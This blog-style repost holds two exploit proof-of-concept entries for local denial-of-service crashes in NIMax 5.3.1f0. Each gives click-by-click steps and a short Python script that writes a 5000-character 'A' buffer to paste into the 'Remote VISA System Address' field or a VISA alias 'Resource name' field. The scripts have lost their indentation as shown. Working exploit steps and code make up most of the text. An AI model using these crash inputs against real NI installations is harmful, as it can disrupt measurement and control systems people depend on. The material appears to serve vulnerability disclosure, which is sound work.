Thursday, October 21, 2021

NIMax 5.3.1f0 Denial Of Service

# Exploit Title: NIMax 5.3.1 - 'Remote VISA System' Denial of Service (PoC)
# Date: 24/06/2021
# Exploit Author: LinxzSec
# Vulnerability: Local Denial of Service (DoS)
# Vendor Homepage: https://www.ni.com/en-gb.html
# Software Link: License Required - https://knowledge.ni.com/KnowledgeArticleDetails?id=kA03q000000YGQwCAO&l=en-GB
# Tested Version: 5.3.1f0
# Tested On: Windows 10 Pro x64

'''[ POC ]
1 - Copy printed "AAAAA..." string from "nimax.txt"
2 - Open NIMax.exe
3 - Right click "Remote systems" and press "Create New"
4 - Select "Remote VISA System" and press "Next"
5 - Paste clipboard in "Remote VISA System Address"
6 - Press finish and DoS will occur
'''

buffer = "\x41" * 5000

try:
f = open("nimax.txt", "w")
f.write(buffer)
f.close()
print("[+] File created!")
except:
print("[+] File could not be created!")


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# Exploit Title: NIMax 5.3.1f0 - 'VISA Alias' Denial of Service (PoC)
# Date: 24/06/2021
# Exploit Author: LinxzSec
# Vulnerability: Local Denial of Service (DoS)
# Vendor Homepage: https://www.ni.com/en-gb.html
# Software Link: License Required - https://knowledge.ni.com/KnowledgeArticleDetails?id=kA03q000000YGQwCAO&l=en-GB
# Tested Version: 5.3.1f0
# Tested On: Windows 10 Pro x64

'''[ POC ]
1 - Copy printed "AAAAA..." string from "nimax.txt"
2 - Open NIMax.exe
3 - Drop down "My System" then drop down "Software"
5 - Locate "NI-VISA 5.2" and select it
6 - Open the "VISA Options" tab
7 - Drop down "General settings"
8 - Select "Aliases"
9 - Select "Add alias"
10 - Paste string from "nimax.txt" into "Resource name"
11 - Just put a single character in the alias and press "ok", DoS will occur
'''

buffer = "\x41" * 5000

try:
f = open("nimax.txt", "w")
f.write(buffer)
f.close()
print("[+] File created!")
except:
print("[+] File could not be created!")

 

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore